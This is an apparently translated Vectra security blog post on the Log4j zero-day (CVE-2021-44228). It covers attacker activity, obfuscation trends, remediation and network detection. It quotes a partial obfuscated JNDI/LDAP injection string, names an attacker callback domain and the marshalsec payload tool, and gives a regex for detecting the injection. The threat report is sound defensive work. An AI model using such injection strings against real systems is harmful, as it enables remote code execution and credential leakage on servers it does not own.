Aggiornamento: 13 dicembre 2021
Attori della minaccia che sfruttano la vulnerabilità Zero-Day di Log4j
Continuando a monitorare la situazione, Vectra ha osservato molteplici tentativi di sfruttamento dei sistemi da parte degli attori delle minacce. All'inizio si trattava di richiami di base con il tentativo iniziale di exploit proveniente dai nodi TOR, che per lo più rimandavano a "bingsearchlib[.]com" con l'exploit passato nell'agente utente o nell'URI della richiesta.
Dall'ondata iniziale di tentativi di exploit, si sono verificati molti cambiamenti nelle tattiche degli attori delle minacce che utilizzano questa vulnerabilità. In particolare, si è verificato un cambiamento nei comandi utilizzati e gli attori delle minacce hanno iniziato a offuscare le loro richieste. Inizialmente, questo comprendeva l'inserimento di una stringa base64 nell'User Agent o nell'URI, che una volta decodificata dal sistema vulnerabile faceva sì che l'host scaricasse un dropper dannoso dall'infrastruttura dell'aggressore. In seguito, gli aggressori hanno iniziato a offuscare la stringa JDNI stessa, sfruttando altre caratteristiche di traduzione del processo JDNI. Esempi di questo tipo sono:
${jndi:${lower:l}${lower:d}a${lower:p}://world80${${env:ENV_NAME:-j}n${env:ENV_NAME:-d}i${env:ENV_NAME:-:}${env:ENV_NAME:-l}d${env:ENV_NAME:-a}p${env:ENV_NAME:-:}//${jndi:dns://Tutte queste soluzioni raggiungono lo stesso obiettivo: scaricare un file di classe dannoso e rilasciarlo sul sistema di destinazione, oppure far trapelare le credenziali dei sistemi cloud.
Restate sintonizzati sul blog di Vectra per ulteriori sviluppi.
--
Messaggio originale: 10 dicembre 2021
Scoperta iniziale della vulnerabilità Zero-Day di Log4j
On 10th December 2021, a new 0day was discovered in the log4j application. This 0day, now tracked as CVE-2021-44228, takes advantage of the parsing of LDAP logs, and the parsing of the LDAP url in the jndi engine. This engine will automatically look up variables in logs to improve the output of the logs. For example “Logging from ${java:vm}” would output as "Logging from Oracle JVM”. This however, leads to a problem when parsing directory services using this method. When parsing these variables, if there is a dot “.” in the string, the log4j server will look up a remote address and parse the response with the jndi engine.
Utilizzando uno strumento come https://github.com/mbechler/marshalsec, un utente malintenzionato può creare un payload dannoso e indirizzare il server log4j verso questo payload java, che verrà poi eseguito nel motore e porterà all'RCE. Per ulteriori dettagli, consultare i blog e i repository GitHub nei riferimenti.
Log4j è una soluzione di logging molto utilizzata per applicazioni, applicazioni web e moduli basati su Java. Sono state dimostrate vulnerabili applicazioni come Steam e Minecraft, ma sono stati attaccati anche diversi nodi ToR.
Uno dei maggiori problemi che gli utenti devono affrontare con questa vulnerabilità è che la superficie di attacco è incredibilmente ampia. Come mostrano le immagini di questo repository GitHub.
Vale la pena notare che non è solo LDAP a essere vulnerabile, ma anche altri parser di servizi di directory, tra cui Remote Method Invocation (RMI) e Common Object Request Broker Architecture (CORBA).
La raccomandazione degli sviluppatori è di aggiornare i sistemi log4j a log4j 2.15.0, disponibile su Maven Central.
Se si utilizza un sistema abilitato a log4j, è necessario fare riferimento allo sviluppatore per gli aggiornamenti dei sistemi e supporre che gli host che eseguono log4j siano compromessi.
Rilevamento degli exploit Zero-Day di Log4j (CVE-2021-44228)
Uno dei maggiori problemi di questa vulnerabilità è che il vettore iniziale è difficile da rilevare. Si presenta come una stringa in un log, si potrebbe esaminare l'input grezzo al server log4j e avvisare su tutte le connessioni esterne LDAP. In alternativa, si potrebbero cercare le connessioni esterne dai server di log ai file di classe Java.
If you have access to metadata, using tools such as the Vectra AI platform for example, one telltale sign of attempts to compromise servers would be to search for the following patterns in text fields such as User-Agent: /\$\{jndi:.*/
In questo modo vengono individuati i tentativi di compromissione dei server, ma non viene confermata la presenza di una compromissione. Il presupposto è che almeno un server di una proprietà sia stato compromesso e Vectra può confermare che i tentativi di scansione sono stati rilevati da più fonti.
Per individuare gli host che potrebbero essere stati compromessi, è possibile osservare gli host che stanno scaricando file JAVA, Jar o Class. Tuttavia, se un host è stato compromesso, il modo migliore per rilevarlo è osservare l'host e cercare comportamenti sospetti, soprattutto perché la superficie di attacco è enorme e il vettore iniziale è difficile da rilevare, dato l'uso pervasivo di log4j.
La piattaforma Vectra AI evidenzia gli host con comportamenti sospetti osservando il traffico di rete e utilizzando l'apprendimento automatico e l'intelligenza artificiale per classificare il traffico. Ci aspettiamo che gli host compromessi presentino rilevamenti di tipo Command and Control , rilevamenti di movimenti laterali o account di applicazioni o servizi locali utilizzati nella proprietà. Se un dispositivo edge è compromesso, è possibile che si verifichi anche una maggiore attività di ricognizione da parte dei dispositivi all'interno della DMZ.
Vale anche la pena di notare che i sistemi che eseguono log4j possono trovarsi in profondità nella rete. Ad esempio, fanno parte di un cluster Elastic e, in tal caso, è necessario identificare anche questi host.
A tal fine, si consiglia di individuare gli host di una proprietà che potenzialmente eseguono log4j (Apache Tomcat, Apache Struts, ecc.) e di inserirli in un gruppo, o di etichettarli, in modo che sia più comodo monitorarli e seguirli, dato il profilo di rilevamento e i termini di ricerca di cui sopra.